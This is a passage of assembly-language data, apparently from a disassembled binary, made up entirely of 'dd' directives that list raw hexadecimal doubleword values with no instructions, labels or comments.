		dd 0EE50C136h, 249EF6E9h, 5F2C983Eh, 0F86EB60Ah, 0E98554A7h
		dd 58050BF0h, 5600D522h, 4AFE6857h, 56175027h, 0A82C42EEh
		dd 1702CE0Bh, 30072968h, 0B850551Ah, 74510F09h,	62B0354h
		dd 0E2E3A02Dh, 80894EBEh, 688AED63h, 0E9440D05h, 79629873h
		dd 62287187h, 680190D9h, 672F3980h, 6191A25Ah, 27079791h
		dd 0F5E65E00h, 4902132Eh, 0DC5F1249h, 5B0BEBCEh, 7E4E643Ch
		dd 48D08381h, 0C057FC3h, 0AC6B4216h, 1241EC80h,	17716E1h
		dd 89010F2h, 72D2D14Fh,	875F0261h, 0E8320481h, 0D1137503h
		dd 0A604AACDh, 590B7E79h, 5388BFDEh, 81524FEh, 5D1FE1FAh
		dd 14FCD40Bh, 0AC535EFEh, 5E8547AEh, 0F58BEAB9h, 0DE5DDF78h
		dd 257861AFh, 40F9076Dh, 8722020h, 3137B976h, 3D87003Fh
		dd 0FF2D4DE4h, 5A0272Fh, 7A553E61h, 0E664E0E6h,	0D75E0983h
		dd 70BF9F94h, 48BB42A5h, 272C6FBBh, 67F163F0h, 0A3F414B8h
		dd 50050098h, 1160618h,	7A22DD8h, 0EBAB6782h, 0B947A359h
		dd 46F720B1h, 0B218760h, 41712832h, 0E61E701h, 0E9DA40DBh
		dd 1B2D01FDh, 27CD5438h, 7F82D0F3h, 4126F353h, 0E72A65D9h
		dd 1B4172D8h, 0B55D90FCh, 11A792D3h, 0DCEEBE45h, 67F76080h
		dd 42D022AEh, 596C2F0Dh, 86EAC57h, 890E147Ch, 0ECDDE5F1h
		dd 6B98FB21h, 169AB37Bh, 39AFE3D0h, 13CB0422h, 3F2A89E1h
		dd 0A0EF0608h, 0AF409EA7h, 29268BD6h, 77D1200Bh, 7F544D1Ah
		dd 2A6687E2h, 46EF0025h, 0E681396Ch, 0B036CD09h, 92530F0Fh
		dd 0AA93C7BCh, 12197D07h, 1EFE6D54h, 94636FA4h,	1EA5E11h
		dd 8B090C60h, 0E095A057h, 826DBD57h, 0ED246055h, 0F9C27612h
		dd 904070FEh, 805C4076h, 885EF607h, 0C1635AF3h,	2060A56h
		dd 9DA6CAE9h, 9B2189ADh, 5372007Eh, 0DDA4A523h,	0A6A2B856h
		dd 3D7117FAh, 0DEBA01B6h, 921374E9h, 6DC4EB21h,	165356FFh
		dd 0D2C30B95h, 0F1734849h, 6CE2F247h, 0F12FD0DEh, 64EE6F58h
		dd 52538C76h, 0B25A1AF4h, 42E460CDh, 111C9F81h,	0C9D3662Dh
		dd 26493E73h, 2AE4A66Bh, 3CA0F93Ah, 209DA55Ah, 0BA85ED58h
		dd 0A244E36Dh, 0B652AE91h, 0B4254430h, 0FF0513F0h, 4101502Ch
		dd 0A1618BF8h, 62D3DCD0h, 0E7F71584h, 585D80E6h, 68557BC2h
		dd 5C42540Ah, 0F51EFE65h, 0B2EB1BCFh, 5AD022EBh, 1FF94E4Ah
		dd 5624E962h, 8E093D41h, 73829011h, 667D17C5h, 43FA4FF1h
		dd 9F65CD87h, 50E5E13h,	56DE24A8h, 80414339h, 10203DCFh
		dd 24029574h, 810072E3h, 304B7BE7h, 480C2198h, 685CDD0Bh
		dd 0A3127058h, 2FFF63Ah, 5AD58933h, 0A487E3DFh,	452769A3h
		dd 3A5C17E2h, 254668E1h, 0F29CD98Ch, 4273ED8Fh,	53B1F50Dh
		dd 0F0452CB3h, 0EE667AFCh, 1249B46h, 5C0349D5h,	0E97A1108h
		dd 0F22A7741h, 0AAC3B458h, 0C72B02AEh, 6E9028DDh, 3C2EBBE0h
		dd 0D888BF25h, 3F985920h, 0A52B681Ch, 0F9689774h, 0EE477A01h
		dd 0EB415978h, 115170DBh, 4CF08DBAh, 0D2F7245Dh, 728A0422h
		dd 2576BC41h, 0B2B292FFh, 0FF94FD17h, 0BCA4E913h, 0EED257A8h
		dd 28E9B03Ch, 97FBFB7h,	44850B8Ch, 7EF63D80h, 4A7D4304h
		dd 96CE21Fh, 0C11A5C98h, 3A380ADEh, 27DDD189h, 6870A9D4h
		dd 2E1D121Eh, 56911E62h, 0D33CEB71h, 2A5F17C1h,	0A5CFA57h
		dd 3E7A70C2h, 2D8FE025h, 6C382C06h, 99D62F64h, 2F26DEA7h
		dd 449D5514h, 40A29877h, 672A68F0h, 99208B4Fh, 8F5924FEh
		dd 720738B9h, 0E20CAA5Bh, 0ABFE15F7h, 9BE8362h,	0A4CB3384h
		dd 5900C829h, 416E5F0Dh, 12D482Ch, 2BB75531h, 0E5DE0905h
		dd 3A047CD3h, 0D443A6F7h, 0AD774B02h, 2F487C7Bh, 44675AD1h
		dd 7BD6CCCh, 27DD6E1Eh,	9FB1B255h, 0BB6C9AA5h, 0EA49CE34h
		dd 20666C5Fh, 10909E7Ah, 3D3C775h, 0A2076204h, 26796809h
		dd 25D78A08h, 0F367167Ch, 2FBADC3h, 9D1FC675h, 89DDF1ECh
		dd 89825FAFh, 98D78DF2h, 9FF409A8h, 0B2626032h,	29CE4855h
		dd 1EE9805Ch, 5853E692h, 87358C80h, 48A99866h, 0E020ECDBh
		dd 0F927567Fh, 3202E889h, 0E18082C2h, 78365D14h, 6FF65190h
		dd 0EF68DA26h, 3AB9CC08h, 0CC594DFDh, 85282E0Eh, 57B3435Dh
		dd 2BD05144h, 564EA979h, 6430DC1h, 98545F02h, 1870F953h
		dd 0E3B0DFBCh, 2663F67Eh, 6892748h, 1084096Eh, 60B00988h
		dd 0E10D61A4h, 44D0FF9Ah, 78BD87B9h, 9B679FD0h,	0F66EE985h
		dd 0C74E93A9h, 8F96A284h, 52925C73h, 0E982C7E2h, 919F0h
		dd 8A515DFCh, 0A742CF2Eh, 5BB05AB0h, 0A02C74D8h, 17A5B2B4h
		dd 8A7EA80h, 6804E620h,	8FF836CBh, 0CD58A9C4h, 7C8A3124h
		dd 0E59F7A25h, 5BA4A061h, 79A7975Bh, 835A2AF5h,	0F261703h
		dd 0AE82C3Dh, 47F86B2Ah, 3F2E33E4h, 2B004213h, 0E946D20Bh
		dd 0FDD45272h, 60EE8710h, 0B226CAE0h, 3A84C33Ch, 7A7A4DD9h
		dd 810E8348h, 535578B4h, 0B971F06Bh, 4B2D1740h,	4F3AEC36h
		dd 88624812h, 53017657h, 0FBC952FDh, 281B964h, 163B5368h
		dd 0F06EACFAh, 9FE373E9h, 20081049h, 741F0C8Ch,	0C8890FD4h
		dd 0C427DE99h, 7FDA31ECh, 0A82AA249h, 5F2B652Fh, 97306681h
		dd 0DAA94C43h, 4D40D588h, 1B3B0872h, 0BF13C0Dh,	403EBE68h
		dd 6CFE4EDAh, 422A8B56h, 0FD59EF13h, 5D12DF52h,	0AC00BBCDh
		dd 609AA5DFh, 753F0CF9h, 2918464Bh, 4C7653CEh, 78F2D01h
		dd 5AB19864h, 3159FB05h, 75202D82h, 60CB0F23h, 4B3915C8h
		dd 2AE5D4A1h, 0F20A7D35h, 5087DECBh, 7D2BF088h,	5AEB6C82h
		dd 0D86868D6h, 5D698F02h, 0D35C14h, 12089EBCh, 0D8B8F989h
		dd 0C9A5D145h, 0E985E75Bh, 45B9908Eh, 443C6183h, 0ECA0E28Fh
		dd 6812C04Ch, 82F2507Ch, 0AD515F89h, 0E9474565h, 0F640F180h
		dd 0EFE1D0D1h, 0D9DD9231h, 28421887h, 8B0A92CBh, 0A83D9377h
		dd 2820F20Dh, 0A1060558h, 0BA028E11h, 294A925Ah, 5F0675E9h
		dd 2056DCE9h, 84C4EDBDh, 0A2E817E9h, 743178F1h,	0A5F3A758h
		dd 8A3FD8C1h, 0C3301203h, 0C588CB03h, 0A8EF9B53h, 4A69E9FAh
		dd 9269CC6Dh, 9B8F440h,	0B4F6C07Ch, 799D53D8h, 882483h
		dd 49EE6852h, 145B875Fh, 7A07999h, 8C664BFFh, 42BD7201h
		dd 4F4DD5ECh, 23A4429Ch, 55E689E2h, 3C449665h, 56B167ECh
		dd 80740CBEh, 6E94A6E9h, 1D685B04h, 341537FEh, 0F700AFEEh
		dd 0E9D1215Dh, 5D07BFD4h
		dd 68AC634Fh, 7EA80C4Ah, 0E59CE04Eh, 4461D907h,	2BB8775h
		dd 74FBE90Fh, 0AF562513h, 577115Ah, 96DFB36Eh, 0D1C4C5B8h
		dd 3CE7405Ch, 243E9479h, 0BD2EFC1h, 8C69F105h, 0EADD2F30h
		dd 603D2920h, 49CB3F5Eh, 524C0A14h, 48A320F6h, 0B53B08ACh
		dd 855759FAh, 8DC58100h, 89F6A9D0h, 0E4B6E84Eh,	0EB125467h
		dd 94FFE7Eh, 0B7E8F0D8h, 79F4F812h, 7D557542h, 0B981D13h
		dd 0BB041203h, 66C51454h, 813430FAh, 4E186CCDh,	10A64356h
		dd 0A07782CEh, 3A28D8B0h, 4F9FFA64h, 0D2DAB396h, 0B8D767ABh
		dd 4089319Ah, 81B2713Fh, 18CF0081h, 8B7EF5AEh, 0D6EC4BA8h
		dd 0AA4014D0h, 0BF5780B0h, 966CE101h, 0DDEF8112h, 8BE90D8Bh
		dd 0B3F6852Bh, 0CBD9B402h, 2F8AF402h, 0BDD3CB56h, 0A5AA9A48h
		dd 0FD0B73FBh, 4E14FF5Fh, 0F14F8472h, 14D54326h, 0AF9446CDh
		dd 0DC83610h, 0CAF7515Bh, 5451E06Eh, 3D553016h,	4E0416FCh
		dd 0EC0863E9h, 281EC15Bh, 2E852757h, 0C3CE7B92h, 402DE7Eh
		dd 2203F681h, 0E9D8823Bh, 491F5083h, 5C71829h, 7BEE20F4h
		dd 2B79B235h, 0A7882D4Eh, 0E790343h, 7116E921h,	34304126h
		dd 2E545A08h, 0FBEF0BF9h, 669ED714h, 0A02F1169h, 68558781h
		dd 304B3CAEh, 0F54CE0FFh, 0F1F6C542h, 9F352ABh,	0EE90AE04h
		dd 0B41250D5h, 4BBF3002h, 0BBD0F9D8h, 9DDFB95h,	4A52D806h
		dd 424BEA97h, 5774905Bh, 0CD10968h, 8A763BEEh, 4CF5A101h
		dd 0DE7889CFh, 0D800C425h, 11416BBDh, 0B8501200h, 1D3149C7h
		dd 6E160005h, 0E62522F4h, 277A404Fh, 9757AB05h,	5CA8D165h
		dd 0AA670262h, 0BB5DB985h, 0EE09F304h, 5B8D79Ch, 4A665A65h
		dd 0E5D9AF29h, 705E100h, 77A6A0ABh, 0E49C9D20h,	0C332AE5Ah
		dd 533C903h, 22D26132h,	0A75C9558h, 0C9FCDB2Dh,	3BFBC4A3h
		dd 0F4126B10h, 0B553FE75h, 0DAC187A2h, 29139522h, 5D48ADACh
		dd 3CD527B5h, 0E943AC10h, 4789AB3h, 667C6AB9h, 0D8D1AF6Bh
		dd 8DF4E64Fh, 9DCA7EE9h, 2EE9B146h, 21FF683h, 1571BB7Bh
		dd 9B6025DFh, 0E05C4556h, 4CEB024Bh, 0FD18394Eh, 35329CC1h
		dd 0C51E69A3h, 93759B54h, 580FC8BFh, 480B31BCh,	5C068440h
		dd 288B23B8h, 0B050D002h, 9820CBF7h, 123403E8h,	45C28879h
		dd 99B3A24Bh, 0B7846E90h, 0D729F3AAh, 0AD4EB6E8h, 0CCE4B47Ch
		dd 7C174DDBh, 0DC70FE93h, 0BF375968h, 0E92593B4h, 0B5CDF0F4h
		dd 89493E79h, 5A89D40Ah, 9E9D21D8h, 8E1620D6h, 3A546812h
		dd 0A3F31AAh, 0FB8507C3h, 319DCBFBh, 0EAD1212Bh, 0B6B8E6DCh
		dd 54E8834Ch, 0E4D909FBh, 407B16h, 0EE3D02F1h, 36D29529h
		dd 3F02C7F6h, 0E97E6414h, 4AB4D0ADh, 0EB0F615Ah, 0CB2901A2h
		dd 653F7EDDh, 0E4990BDBh, 3A603590h, 2344F186h,	0DF567981h
		dd 0BB550105h, 2E6A3E20h, 73F80BE1h, 3949BDBCh,	0BB53CCF8h
		dd 0AD6C400Ch, 265ABC15h, 8C4B74Ch, 0B800C9C7h,	69134934h
		dd 5541070Dh, 520537AEh, 0C15FA07Dh, 0EC300367h, 12A1352h
		dd 256AF8EDh, 0DFD943D6h, 5D865F62h, 8D009DE6h,	8133F262h
		dd 0EC22CCF7h, 0FCE92A17h, 0BC9B0ACh, 50AD7203h, 0E6BD580h
		dd 0ECBC9B42h, 2FBE808h, 3E0BBBB9h, 6606F960h, 0CF25882h
		dd 1D6E6545h, 43182E0Ch, 5886B992h, 7A4981FAh, 0FEE772D0h
		dd 26AD7E36h, 44146A45h, 6E414C79h, 11189716h, 9B95ECFAh
		dd 35D07BFCh, 0EC166F96h, 68BBF5C9h, 8135E9CFh,	56AC3D8Ch
		dd 9E8E2779h, 0E8C097B2h, 5C03475Dh, 0F7DA877Eh, 0E20860DBh
		dd 0E8B3B4FAh, 7E23E927h, 50E18812h, 6804D426h,	778C2421h
		dd 0E9D30DB4h, 7D22A0BAh, 90E507CBh, 0E3D6AC9Ch, 0DD9CB5FFh
		dd 8B00D3B5h, 83FEA961h, 506C547Ah, 0EE8646E9h,	305D5AA7h
		dd 0B6391F5Eh, 7C016F13h, 0C414EE3h, 8230D87Ah,	42BF941h
		dd 1FCD947h, 90654A2Dh,	3C2D1DFh, 344670A7h, 705AD12Fh
		dd 96B4986Ah, 96B02928h, 0E12CABE1h, 0E701BD14h, 205EF109h
		dd 4A0091ABh, 0C9BF1FEEh, 627A9606h, 0AB305531h, 0B4500D5Eh
		dd 0DA70097Dh, 2886C231h, 0CD09F9C0h, 0D1747Ch,	89B8F5BEh
		dd 0A9B74E91h, 9542172Dh, 0AA841A34h, 571790FCh, 60D0150h
		dd 7030F74Eh, 0CE5C7304h, 5892966Ch, 0E2C85729h, 0B1BFF596h
		dd 0E27A53E6h, 0BEA0B5D8h, 0BB57148Dh, 7704E77Ah, 858544A8h
		dd 4A49F93Eh, 0AA25C5FCh, 0BB6A9875h, 560A0239h, 0F74B4351h
		dd 692883D7h, 411EB70h,	0ED7A557Ah, 2063A140h, 40B51222h
		dd 5F2CE9C9h, 439289D2h, 92897981h, 0E7A8039h, 0E978A876h
		dd 29696A05h, 9DD1167Ch, 0B7C2084h, 22CB5371h, 3384E128h
		dd 66C4AA68h, 0E768029Eh, 0EA6D4969h, 4425BB2Dh, 0A46F7254h
		dd 32A8F547h, 0BE5511D3h, 7711BE02h, 0AA404CAFh, 261C5039h
		dd 0E98521F5h, 9DBF048Ch, 0C8A26E5Ah, 7FE2ED96h, 0A9355D5Ah
		dd 0E72FDFB1h, 55AF9404h, 58023018h, 0F8F94DE3h, 0D9954ED7h
		dd 38024910h, 290AA5ECh, 33260Eh, 0CF815F67h, 0F43812AAh
		dd 4B4AC59h, 8CDEE94Fh,	2875C5F9h, 20C29F46h, 66397CECh
		dd 0E8D11D40h, 2180C6Ch, 4ABE2D13h, 1F3DA80Eh, 0DC167DFh
		dd 52E92243h, 0FD05932Fh, 3AC7741Dh, 5535238Bh,	0E085828h
		dd 41328AE9h, 0B25A3DF1h, 0CB5DD610h, 0ACA9F9C1h, 0A8A4753Dh
		dd 204944Dh, 6B583CBEh,	3B5BF05Bh, 325BD268h, 785E2269h
		dd 0B3535900h, 2EF380FAh, 39B72845h, 0B4E9D084h, 0DE0FADCCh
		dd 46E313C9h, 12344F72h, 2ADDB6ADh, 148C611h, 90C32D8Ah
		dd 0BCA01A7Bh, 50C4629Dh, 7FCDBB00h, 0CBD8C040h, 6EF746FDh
		dd 0D49851FCh, 8A1AD403h, 89E98928h, 0E132C68Dh, 90258009h
		dd 64C52F80h, 4B5F9769h, 0F5025DA9h, 51B433AFh,	0FE9E8D40h
		dd 499EC082h, 1BCE1D1Ch, 31E38105h, 819BE9E4h, 3DC1BE8Bh
		dd 0EED0294Dh, 599DFA06h, 12D358D6h, 64E8D7D5h,	5628FAA3h
		dd 996FF568h, 0A677213Eh, 0F201E349h, 0DC7391D2h, 82F526Eh
		dd 8001A6F1h, 0F328E7EBh, 4D7C3D5h, 7FE95A55h, 0D0F5ACFAh
		dd 0F39284C3h, 263CAB13h, 37C34DE9h, 5121974Ch,	3CE2B881h
		dd 54F4363Fh, 13AD2C25h, 8E32420h, 591E727Ch, 55204F09h
		dd 96791442h, 2F466841h, 2FD9B66Eh, 0B0ADC672h,	98985A98h
		dd 6B5F92D6h, 0D3D0A6B8h, 0ADDFFB12h, 37E9D7B8h, 10AA2F84h
		dd 0EC417D88h, 1B06C97Ch, 0D6D1479h, 7AD27213h,	4664141Eh
		dd 95BAEB65h, 784C02B6h, 0A9410818h, 37B22F0Bh,	0D4D2E9C4h
		dd 0A557BC54h, 622C58E2h, 0B58C1F2h, 44F020CFh,	0C20F2B3h
		dd 16536C9Eh, 0C029E97Bh, 0D9215B18h, 50F43FE7h, 0B4FB4014h
		dd 5728903Dh, 0CA5B7021h, 80093BCAh, 9D566CEAh,	8348C319h
		dd 349E52Dh, 0BD4C3D18h, 47F9DFF6h, 83CE60FDh, 3258B663h
		dd 12200188h, 0F131D1C9h, 82E18870h, 0EB9748F5h, 6B722694h
		dd 464B0BAEh, 3681AFD9h, 91C621Dh, 40FAE53Ah, 1FE7B5Fh
		dd 7098D94Fh, 807E40BEh, 264EF23Ch, 6F449C56h, 955DAB88h
		dd 70400E42h, 58047557h, 7D52680Fh, 6B6898h, 2D3FEC4Ah
		dd 0DDC0C45h, 0D04AE976h, 0A766D64Ah, 10AE8B94h, 0BD4EAA86h
		dd 70DC1392h, 0F7CFFFECh, 790D6842h, 0F0C00848h, 0DAE1BB95h
		dd 462B7F26h, 2D542B81h, 0CFC62B6Bh, 1A6E0912h,	4A8E6797h
		dd 0CBA4EC1h, 571E8331h, 0E220A8BFh, 0DC0FC064h, 51172F61h
		dd 9E7744E0h, 862537AEh, 125E7BCCh, 2BCDB145h, 3BF88B29h
		dd 0F239C451h, 0DB800E6h, 7B5DA74Ah, 0F15A40h, 37730589h
		dd 2914536Ch, 4F072DE8h
		dd 4901F528h, 0CD2DD6D8h, 0BB7083D6h, 0BD1F1413h, 4000FB22h
		dd 43207E3Ch, 12C2E3D1h, 0F67DC5A4h, 25CE3800h,	4392EFEAh
		dd 0B6903AC2h, 0DB9D782Ah, 4010C976h, 35804AD0h, 0E1D713CCh
		dd 73D7FC8Ch, 5F5AD62Eh, 6820A12Dh, 822C51D8h, 0B9CFAB92h
		dd 82B95C27h, 5267879Dh, 0D127DA88h, 0F1AB27A2h, 6A3588E3h
		dd 0F7F5D830h, 14E73059h, 665DF30Ch, 93B1454Ah,	896FA39h
		dd 7C257BF6h, 4F122710h, 3453507Ch, 6522023Ah, 0B1F10184h
		dd 84F7E949h, 5E3C14Bh,	711FC6B8h, 0CDC0A5B5h, 0BD2D2952h
		dd 750742E7h, 0E4E1E162h, 66E1952Dh, 0B7AA74B6h, 96F7080Bh
		dd 1975FDEDh, 52E957E1h, 5BE95FF0h, 3071C2AFh, 13BD307Ch
		dd 785279A5h, 0FF92FAECh, 4083B328h, 0F50728AEh, 6DE5805Ah
		dd 884FED30h, 10E92FEBh, 0F7012E5Ah, 0B3B81670h, 0DF5FD89h
		dd 0C0AC4374h, 0B6525176h, 0F12D88DDh, 271D015Ah, 42FE06B2h
		dd 41EB570Dh, 0D1CA9DB3h, 9AB902F5h, 21B31067h,	3DC1802Ch
		dd 4801E009h, 910A4930h, 0F168807Eh, 5B136B67h,	76BA5200h
		dd 0C109B54Ch, 0F2BFA0E2h, 4795025Fh, 5ADBE950h, 2F97F4Bh
		dd 0E1129251h, 899EBCB9h, 0FCFC5720h, 541766EFh, 0BED0717h
		dd 0B282E380h, 2094C8Fh, 8FDDF6E6h, 0F5C91F95h,	9503D848h
		dd 0C62E74F8h, 7C4B878Fh, 557F4FC9h, 5F28A8CCh,	0A5875BD4h
		dd 0B6F12AB4h, 363A2C7Eh, 5030BE49h, 8DF4EABh, 51741BFEh
		dd 4909A918h, 0A7C3AD81h, 0EC4A0F45h, 7C825B80h, 5D7AE0B2h
		dd 0F72816F8h, 0EC3693DDh, 4B0E9379h, 0E97EC555h, 0D3F680E1h
		dd 130B6432h, 0ECD115E9h, 80BB8735h, 0E9CE2A23h, 0AB8FC5FDh
		dd 0F40B05EDh, 0EF95D6D8h, 0BC7088B4h, 33B25916h, 8C31ABD6h
		dd 55026212h, 0A7D3BBD8h, 9CA2EEBh, 71F51FE9h, 9EB70B23h
		dd 0F8C58070h, 44AB07C9h, 19D0CD90h, 0F24EB18h,	6F060FBFh
		dd 0D44564E2h, 89A4A4A7h, 123F0EB3h, 19B7D0CFh,	2967DDDAh
		dd 241E984h, 85C2FE04h,	0E8369692h, 0CC28EC37h,	8ADD5A7Dh
		dd 0E5920EA8h, 342F7525h, 3C4FABCBh, 0D3CAF8DFh, 0D92880AAh
		dd 4FF87B8h, 41BDB7F0h,	0FAC17BC9h, 5B683BBAh, 17F6D7C4h
		dd 0CD81DA84h, 3F8B47D0h, 0FE905EF3h, 0A9583D49h, 0ADB3147Bh
		dd 48803C36h, 777815EAh, 353F04A5h, 83AE2AECh, 0AB3B47E1h
		dd 76B18181h, 43E9E24Bh, 4524C278h, 0C7203F3h, 0D58A210Bh
		dd 0AE3F607Dh, 530D3D15h, 0CD811E47h, 317F9DFBh, 1C4A05BFh
		dd 4EF15A75h, 0C8F1882Fh, 0C019F195h, 5FE9F831h, 0E1F85C4Bh
		dd 557335C1h, 3F23065h,	9B97E926h, 0A5F2EB3h, 9951D4A2h
		dd 411BA886h, 0C257E2B1h, 7ACBDCB0h, 4A416EF7h,	53880E7Bh
		dd 0AD4088C9h, 0A717C8B9h, 28B1A494h, 930AE33Fh, 9CE0EE52h
		dd 8206021Eh, 4DA9E972h, 0D69A75Ch, 8F2C104Fh, 7046C700h
		dd 515D4C10h, 0E029D99Dh, 310BE8C1h, 2D5427E9h,	5BCB8407h
		dd 6D6A5381h, 3A2BE535h, 0B684D93h, 84152EBAh, 0EB478DC7h
		dd 580E298h, 24AE1D5h, 74EF3A42h, 921E2D4Ah, 0FE2620B5h
		dd 0DE288CCh, 0F6525866h, 0CB42416Ah, 67222BB6h, 4AED7751h
		dd 729C54AFh, 160994D5h, 8CB795E9h, 0D75C885Dh,	0B1FA3A5Ah
		dd 564578D5h, 5FF46800h, 0D867A7B6h, 3AC7A8FEh,	70464DF9h
		dd 0D682B65Bh, 0A385E4ECh, 0C232EE6Ch, 0B91F758h, 0C84DAC69h
		dd 5EA9F213h, 92D08918h, 5982CF5Ch, 0F18E6267h,	2C9699DDh
		dd 3819A17Fh, 0D3871977h, 127D91F4h, 0A4C99A02h, 1C428986h
		dd 512F7CFEh, 2CEB0216h, 314019D0h, 0D92529ECh,	1784486Fh
		dd 4B733026h, 0C601300Ch, 0E6C87950h, 860C58EEh, 0A957DAE9h
		dd 9F74F268h, 2B20EA98h, 873D8206h, 15064BDEh, 0B59831E9h
		dd 17523F39h, 94549E00h, 5EF0095Ch, 0F9190505h,	0FC80776Ah
		dd 602475ADh, 21927C36h, 29760EAAh, 68081CD0h, 581B141Ch
		dd 656CC8C3h, 5A809847h, 3D8EFDC2h, 209B2DE9h, 5527E74h
		dd 0D952970Fh, 635F0881h, 8E6E104Dh, 0BC85D27h,	43C07B89h
		dd 0ED7FF9F7h, 991986Bh, 217E4EFBh, 0B0039E84h,	79405464h
		dd 3F481CBEh, 0E681403Ah, 3850670Dh, 0D733E916h, 2A06EED0h
		dd 877D247Eh, 9931144Bh, 0CE08CD36h, 7C63200Fh,	422CCB25h
		dd 0CC8C77CAh, 2804803Ah, 0CD013309h, 63AB56C1h, 0FE89C528h
		dd 496C3C10h, 0C9525C96h, 0FC0F03Eh, 0A5E9193Fh, 2AC627D4h
		dd 7C58FC92h, 5E445AF8h, 0EEB1C24Ah, 0AD2A9D6Eh, 60A7C281h
		dd 0A891F0DFh, 95E1F64Ch, 0A28BA559h, 71E5D36h,	0EAD58220h
		dd 92444A60h, 0ED7724F6h, 4A0F28BBh, 3FF4056h, 73BAF381h
		dd 50EF1732h, 0D458047Fh, 0B731E8F1h, 985103E6h, 533925C4h
		dd 0C46BD5FEh, 86232661h, 0AC5B09E9h, 10399A7Dh, 133EA5ADh
		dd 0AE4D2B4Ch, 0C45B5A5Dh, 0C15DB34Dh, 0B950FA8Ch, 25104ACEh
		dd 0BB584146h, 52A6B09h, 82DAAFD1h, 0C9DB47F9h,	0AA415F29h
		dd 4C32601Ch, 5268C539h, 0DBEA03D7h, 1B9966Bh, 16F21CAh
		dd 3A525908h, 0E90CB5E6h, 0EA93C117h, 322A74B0h, 33028C81h
		dd 36E94B3Eh, 42686E7Ah, 0C3607719h, 0E761EEC1h, 5658B58Eh
		dd 0B6710909h, 0DF85F77Fh, 0E9080AC7h, 7FD22D85h, 5561C32Ch
		dd 576C291Dh, 4C373E12h, 64C6BDB1h, 8FE5288Dh, 25B82012h
		dd 0EB32C960h, 997838E9h, 8CCF31F2h, 305B007Eh,	9FA2F0E1h
		dd 9129FB04h, 0A55C5A58h, 359BA37Fh, 0B234C43h,	0AAC5E348h
		dd 5F3CF76Dh, 64D7CF2h,	0C67CE909h, 658F2A68h, 57068701h
		dd 0D2790FBFh, 2DC9036Bh, 0ABFCECADh, 0CD6DEDC3h, 0A48BAEh
		dd 782642DFh, 700C9D05h, 122D77F6h, 0BA791C4Fh,	0A79A8904h
		dd 0E4C9550Eh, 2C581EC0h, 0D83AAD70h, 685B0904h, 17985F2Bh
		dd 2C2D40B5h, 0C585C45h, 0EF7DA616h, 0C2AAEAB7h, 0ECD7E55Bh
		dd 41065E38h, 0DF011C21h, 0E90880C4h, 0E45F5872h, 87C917DEh
		dd 0C75FB913h, 20E909B3h, 0EF9C9243h, 2E7F098Ah, 82B7F76Bh
		dd 76729F5h, 0ACD80F55h, 0BC496D03h, 76BF02FEh,	0E50F241Bh
		dd 50E752F5h, 41E1B750h, 4AB57F4Eh, 0D2A22Fh, 3CB8D24Dh
		dd 25E9FD29h, 0E64950Ah, 0EDEF8379h, 31AD8A14h,	505998D8h
		dd 814AE570h, 2633464h,	21C040F4h, 1FAA6857h, 5F752578h
		dd 0C2F587D7h, 41FBB3h,	16AB484h, 0F810E92Bh, 81D1A9CBh
		dd 0AE60847Fh, 96F4B02Ah, 0D2F99281h, 37E853CDh, 9767B561h
		dd 820EA5BFh, 41545123h, 2901B2E6h, 104A3DC7h, 5E3B70A6h
		dd 0BEA56412h, 0BDC7F428h, 55126Ah, 74936E35h, 0BED75001h
		dd 0F74C127Ah, 3000FF61h, 95F4158h, 0A4E933EEh,	42D2BBC9h
		dd 0F38784C0h, 921504BFh, 3C5F0DBCh, 6B6579Eh, 58403540h
		dd 2D550EF1h, 75A3180Ch, 0EFD4C389h, 80E9FFC1h,	0F3C2163Fh
		dd 2D4ED877h, 6E5D81DEh, 20D23F8Ah, 329A682Ah, 5A6CB205h
		dd 0CEABD329h, 0F42AC49Dh, 563CDCE2h, 0B88750A5h, 0D82242BDh
		dd 0D6174B40h, 64285C81h, 26329B1h, 3AB6814Fh, 2C20B82Fh
		dd 0F3C16E42h, 0A34AF4C4h, 3F8A9F51h, 0F093F997h, 0FAC6E1B2h
		dd 909F93E4h, 0B45DE82Fh, 8F9BCEAEh, 0B4C940DDh, 48EF80FCh
		dd 53E0E5F5h, 0E6B930E5h, 4871299Fh, 0F57C07D7h, 803A012Dh
		dd 76FB750Bh, 7851420Dh, 0B51DCFD0h, 0B0B3EA7Fh, 0EF23097Ch
		dd 8EFD3525h, 4301C903h, 0A4180562h, 825F62CFh,	92FDC2A8h
		dd 4BCAD17Dh, 78DF0D19h, 0B6A9D6BFh, 87580AC1h,	406B323Ah
		dd 7915B08h, 6F185725h,	0E12622ABh, 4A08C65Fh, 784AB2F1h
		dd 44440E61h, 5B080925h
		dd 215BEFF0h, 7D8B0721h, 0A406312Fh, 0C2FD92A9h, 53AD4BFEh
		dd 741F957Eh, 0E8D192FCh, 40343BCh, 99490E25h, 2DD0F7E8h
		dd 9BFE3AC4h, 5E518D93h, 0ACF75638h, 0B9E909ECh, 8814FFEDh
		dd 3D122C5Fh, 65C74B5Ch, 5F584B4h, 78A85DFBh, 372C4E3Bh
		dd 72D1463h, 0A0C54450h, 3DDFC67Fh, 85C3245h, 0E18E5B02h
		dd 3D44012Bh, 0DE1DE93Dh, 0B820229Dh, 0B7F82BBh, 3C29FF10h
		dd 19496D06h, 7935615Ch, 123F5E34h, 814764EEh, 0B4BEDAh
		dd 2E5AA3BDh, 100752CDh, 5B6838DEh, 0FC9286BCh,	2949B657h
		dd 0C911C821h, 0E387B502h, 27C99457h, 0B8CC58EFh, 85E5E8B4h
		dd 0A57EFA8Dh, 0B6673EE9h, 82BF12C9h, 0F7D4B3E8h, 88C3A990h
		dd 0F81614B7h, 37515B32h, 0D45D9226h, 6588C4F1h, 89012DF3h
		dd 2E351F68h, 0B0509E20h, 0D0860C88h, 0C008D2F6h, 2C03E00Fh
		dd 4C28B01h, 590070A4h,	21B35366h, 5CDE283Bh, 5AF104AFh
		dd 42A13DE9h, 3557C77Bh, 4836B23Eh, 42900558h, 0EE3071h
		dd 6851575Ah, 744A3739h, 0C9023CA8h, 29412A7Ah,	3F5FF358h
		dd 0F102D3FCh, 97BB78DCh, 9B56070h, 2E4B8E6Fh, 7EE908h
		dd 8535C892h, 1EAEC68h,	6FC53EFDh, 3ECC1AE9h, 0DF77B261h
		dd 228FBD00h, 1B85A58h,	6C086BC5h, 0A2685550h, 56CBE917h
		dd 4224BBABh, 8460F48Bh, 676B50E0h, 8ACE927h, 64CFE12Ah
		dd 8A90EB8Dh, 0E659CE30h, 0BC94F6F0h, 77B8071Ah, 2BC87D06h
		dd 0ED93ABADh, 20114192h, 0E24E1F9Ah, 0C82F3FC9h, 225F4A72h
		dd 0BE79DB8h, 8A052B60h, 47B21D1Ah, 8C808D2h, 0FC161A26h
